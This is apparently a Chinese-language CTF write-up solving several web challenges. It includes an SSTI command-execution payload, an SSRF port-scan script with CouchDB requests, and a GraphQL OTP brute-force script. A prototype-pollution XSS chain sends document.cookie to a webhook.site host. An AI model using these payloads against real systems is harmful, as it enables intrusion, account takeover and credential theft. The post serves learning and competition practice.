Before all solo/AK(破台), Rank 31/1301
之前在 CTFTime 上看到這場冠軍獎品居然是 CBBH 證照,忍不住就想衝一把 結果就記錯時間了,題目太簡單自然早就有冠軍了,後面就拿牛肉湯的帳號登入一下 solo 一把 XD
這場的題目模式比較有趣,都是黑箱,但又怕太通靈(?)所以都會提一下這題可能需要的技術點,感覺還行但還是要多做點 enumeration 跟觀察,整體題目難度體感大概 3/10,但好少一次看那麼多 Next.js 搞出來的網站有點累
還是紀錄幾個關鍵字:
Prototype Pollution
JSON Escape
Alias-based Query Batching
CouchDB
Mongo Object ID Prediction
最後一個關鍵自很有趣,簡單來說 Mongo DB 生成的 Object ID 會是當前時間 + (理論上同一個 db 都一樣的) Process ID 和 db 編號 + 流水號,可預測 XD (但給這個 Hint 的題目完全不需要使用這個 feature)
Writeup 按照官方難度排?
JinjaCare
沒什麼好講,看到題目名稱就是 Jinja2 SSTI,一開始註冊 username 只可以是英文和空格,但登入後改名不受限,改叫 {{7*7}}
再下載自己的接踵紀錄 pdf 就確認觸發點了
1 {{ self.__init__.__globals__.__builtins__.__import__ ('os' ).popen('id' ).read() }}
NeoVault 一個線上轉帳程式,會發現下載轉帳資訊的 api 由本來驗證 JWT 的 v2 改成 v1 後會要求提供 _id
的 userid 資訊
又因為取得轉帳資訊的時候會拿到 neo_system 的 userid,就可以下載 neo_system 交易紀錄並發現存在 user_with_flag
,再次透過
/api/v2/auth/inqure
API 獲得 userid,最後再下載一次他的交易紀錄就取得 flag 了
CitiSmart 爬一下網站的 JS,會找到 endpoints /api/dashboard/endpoints/
和 /api/dashboard/metrics
,並且他們不用驗證就能存取(只要有 token cookie 就行)
會發現好像都是做一些請求用的
然後可以自己塞 url 進去要他請求
但是看 WebHook 發現是 /metrics 被請求,問題不大,塞個 #
進去就能 bypass 了 XD
/api/dashboard/metrics
endpoint 是讀取結果。
拿到 SSRF 後先做 port scan
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import requestsimport jsonimport threadingfrom queue import Queuefrom tqdm import tqdmapi_url = 'http://94.237.50.221:39660/api/dashboard/endpoints/' headers = { 'Cookie' : 'token=fucku' , 'Content-Type' : 'application/json' } target_ip = "127.0.0.1" ports = range (1 , 65536 ) thread_count = 100 open_ports = [] q = Queue() def scan (): while not q.empty(): port = q.get() payload = { "url" : f"http://{target_ip} :{port} /" , "sector" : f"whale_port_scan{port} " } try : response = requests.post(api_url, headers=headers, data=json.dumps(payload), timeout=3 ) if "ECONNREFUSED" not in response.text: print (f"[+] Open port found: {port} " ) open_ports.append(port) except Exception as e: pass q.task_done() for port in ports: q.put(port) with tqdm(total=len (ports)) as pbar: def wrapped_scan (): while not q.empty(): scan() pbar.update(1 ) threads = [] for _ in range (thread_count): t = threading.Thread(target=wrapped_scan) t.daemon = True t.start() threads.append(t) for t in threads: t.join() print ("\nOpen ports:" )for port in open_ports: print (port)
1 2 3 4 5 [+] Open port found: 80 [+] Open port found: 3000 [+] Open port found: 4369 [+] Open port found: 5984 [+] Open port found: 5986
戳一下發現 5984 是 couch db
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 curl -X POST 'http://94.237.50.221:39660/api/dashboard/endpoints/' -H 'Cookie: token=whale' -H 'Content-Type: application/json' -d "{\"url\":\"http://127.0.0.1:5984/#\",\"sector\":\"whale_get_4369\"}" curl -X GET 'http://94.237.50.221:39660/api/dashboard/metrics' -H 'Cookie: token=whale' curl -X POST 'http://94.237.50.221:39660/api/dashboard/endpoints/' -H 'Cookie: token=whale' -H 'Content-Type: application/json' -d "{\"url\":\"http://127.0.0.1:5984/_all_dbs#\",\"sector\":\"whale_get_5984_all_dbs\"}" curl -X GET 'http://94.237.50.221:39660/api/dashboard/metrics' -H 'Cookie: token=whale' curl -X POST 'http://94.237.50.221:39660/api/dashboard/endpoints/' -H 'Cookie: token=whale' -H 'Content-Type: application/json' -d "{\"url\":\"http://127.0.0.1:5984/citismart#\",\"sector\":\"whale_get_5984_citismart\"}" curl -X GET 'http://94.237.50.221:39660/api/dashboard/metrics' -H 'Cookie: token=whale' curl -X POST 'http://94.237.50.221:39660/api/dashboard/endpoints/' -H 'Cookie: token=whale' -H 'Content-Type: application/json' -d "{\"url\":\"http://127.0.0.1:5984/citismart/_all_docs#\",\"sector\":\"whale_get_5984_citismart_all_docs\"}" curl -X GET 'http://94.237.50.221:39660/api/dashboard/metrics' -H 'Cookie: token=whale' curl -X POST 'http://94.237.50.221:39660/api/dashboard/endpoints/' -H 'Cookie: token=whale' -H 'Content-Type: application/json' -d "{\"url\":\"http://127.0.0.1:5984/citismart/FLAG#\",\"sector\":\"whale_get_5984_citismart_FLAG\"}" curl -X GET 'http://94.237.50.221:39660/api/dashboard/metrics' -H 'Cookie: token=whale' | grep FLAG
SpeedNet 自產自銷,如果我有幸讓人看到這篇,不會 graphql 可以來快速看 https://blog.whale-tw.com/2024/08/11/hacker101ctf-bugdb/
經典的 GraphQL API 外漏 做 Introspection 取得所有 api 請求方法 可以先 query userid=1 取得 admin email
devForgotPassword 可以獲得任意 email 重設 token 並不用去 mail 翻
1 2 3 mutation($email: String!) { devForgotPassword(email: $email) }
接下來就可以用 token 打 resetPassword 的 mutation 把 admin 密碼設定掉,但 admin 預設開啟 OTP 2FA,會寄給 mail
1 2 3 mutation($token: String!, $newPassword: String!) { resetPassword(token: $token, newPassword: $newPassword) }
登入後會收到這樣的 token,要去請求 verifyOTP 並驗證成功才能拿 登入 token
每次有效五分鐘,有做流量限制,爆破爆破不完
派出 Graph QL Alias-based Query Batching 可以構造這樣的 query 大量驗證 OTP
1 2 3 4 5 6 mutation { trial0000: verifyTwoFactor(token: "{token}", otp: "0000"){token} trial0001: verifyTwoFactor(token: "{token}", otp: "0001"){token} trial0002: verifyTwoFactor(token: "{token}", otp: "0002"){token} ... }
但因為一次送完太大,我拆成一百一百個一組
Final Exploit,admin 密碼被我換成 whale120 了Generated by ChatGPT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import requestsimport timeimport sysGRAPHQL_URL = "http://94.237.58.201:32592/graphql" AUTH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsImlhdCI6MTc1MTEyNTcxNywiZXhwIjoxNzUxMTI5MzE3fQ.p77Om4yL_Jq8si4nCrFEnMzebQfU6uGeFYwhFzBO07Q" HEADERS = { "Host" : "94.237.58.201:32592" , "Authorization" : AUTH_TOKEN, "Accept-Language" : "zh-TW,zh;q=0.9" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" , "Content-Type" : "application/json; charset=utf-8" , "Accept" : "*/*" , "Origin" : "http://94.237.58.201:32592" , "Referer" : "http://94.237.58.201:32592/profile" , "Connection" : "keep-alive" , } def build_query (batch_start: int ) -> str : """ 根據 batch_start (0、100、200…) 生成包含 100 條 alias 的 GraphQL mutation 字串 """ lines = ['mutation {' ] token = "9e3c3c48-33b5-41a4-8b22-1bdc9a4e2be5" for i in range (batch_start, batch_start + 100 ): otp = f"{i:04d} " alias = f"a{otp} " lines.append(f' {alias} : verifyTwoFactor(token: "{token} ", otp: "{otp} ") {{' ) lines.append(' token' ) lines.append(' user { id email username }' ) lines.append(' }' ) lines.append('}' ) return "\n" .join(lines) def try_batch (start: int ): payload = {"query" : build_query(start)} resp = requests.post(GRAPHQL_URL, json=payload, headers=HEADERS, timeout=10 ) try : print (resp.status_code) data = resp.json() except ValueError: print (f"[!] 非 JSON 回應,HTTP {resp.status_code} " ) return False if "data" in data: for alias, result in data["data" ].items(): if result and result.get("token" ): print (f"[+] 找到正確 OTP: {alias[1 :]} ,新 token = {result['token' ]} " ) return True return False def main (): print ("[*] 從 0000 到 9999,以 100 為一組開始爆破…" ) for start in range (0 , 10000 , 100 ): print (f"[*] 嘗試範圍 {start:04d} ~ {start+99 :04d} " ) success = try_batch(start) if success: sys.exit(0 ) time.sleep(1 ) print ("[-] 所有範圍均嘗試完畢,未找到正確 OTP。" ) if __name__ == "__main__" : main()
Sattrack XSS 題,CSP 全限制 self 重點:/login
路徑有段 js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 function mergeObjects (target, source ) { let depth = 0 ; function merge (target, source ) { if (depth > 10 ) return target; depth++; for (let key in source) { if (typeof source[key] === 'object' && source[key] !== null ) { target[key] = merge (target[key] || {}, source[key]); } else { target[key] = source[key]; } } return target; } return merge (target, source); } async function startApplication ( ) { const params = new URLSearchParams (window .location .search ); const userMessage = params.get ('message' ); let isValidated = false ; let defaultConfig = { text : "" }; try { const userConfig = JSON .parse (decodeURIComponent (userMessage)); let config = mergeObjects (defaultConfig, userConfig); if (await validateMessage (config)) { isValidated = true ; } else { isValidated = false ; } } catch (e) { console .error ("Error processing message:" , e); } await loadScripts (); if (isValidated) { console .log ("Validated" ); showError (defaultConfig.text ); } else if (!isLoaded && userMessage !== null ) { console .log ("Not validated" ); showError ("Invalid message!" ); } }
mergeObject 有 prototype pollution,而 startApplication 本來是用來提供登入錯誤訊息剛好就可以拿來觸發。 PoC:
1 ?message={"__proto__" :{"abc" :"whale" }}
再來看這段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 async function loadScripts ( ) { console .log ("Loading scripts" ); const settings = window .settings .JS_FILES ? window .settings : await retrieveSettings (); try { if (settings.JS_FILES ) { await Promise .all (Object .values (settings.JS_FILES ).map (src => { return new Promise ((resolve, reject ) => { const script = document .createElement ("script" ); script.src = src; script.onload = resolve; script.onerror = reject; document .body .appendChild (script); }); })); } } catch (error) { console .error ("Failed to load scripts:" , error); } finally { console .log ("Scripts loaded" ); } }
拿到 prototype pollution 後蓋掉 JS_FILES 屬性就可以任意引入 js file,剩下 csp 要繞過。 剛好就有這麼一段類似 jsonp 的 endpoint 用來分享資料
1 http://94.237.57.115:53170/partner/share?type=atmosphere&data={1.1, 2.2, 3.3}
試一下可以這樣構造
1 http://94.237.57.115:53170/partner/share?type=whale"};location.href='https://webhook.site/201d87bc-bb9c-4311-89eb-f693571789ea'%2Bbtoa(document.cookie);//&data=whale
組合出來變成
1 {"whale" };location.href ='https://webhook.site/201d87bc-bb9c-4311-89eb-f693571789ea' +btoa (document .cookie );
挺合法的 Final Payload
1 http://127.0.0.1/login?message=%7B%22__proto__%22%3A%7B%22JS_FILES%22%3A%7B%22evil%22%3A%22http%253A%252F%252F127.0.0.1%252Fpartner%252Fshare%253Ftype%253Dwhale%252522%257D%253Bfetch(%252527https%253A%252F%252Fwebhook.site%252F201d87bc-bb9c-4311-89eb-f693571789ea%252F%252527%25252Bbtoa%2528document.cookie%2529)%253B%252F%252F%2526data%253Dwhale%22%7D%7D%7D
幫大家 decode 一下 XD
1 2 3 4 5 6 7 { "__proto__" : { "JS_FILES" : { "evil" : "http://94.237.57.115:53170/partner/share?type=whale%22};fetch(%27https://webhook.site/201d87bc-bb9c-4311-89eb-f693571789ea/%27%2Bbtoa(document.cookie));//&data=whale" } } }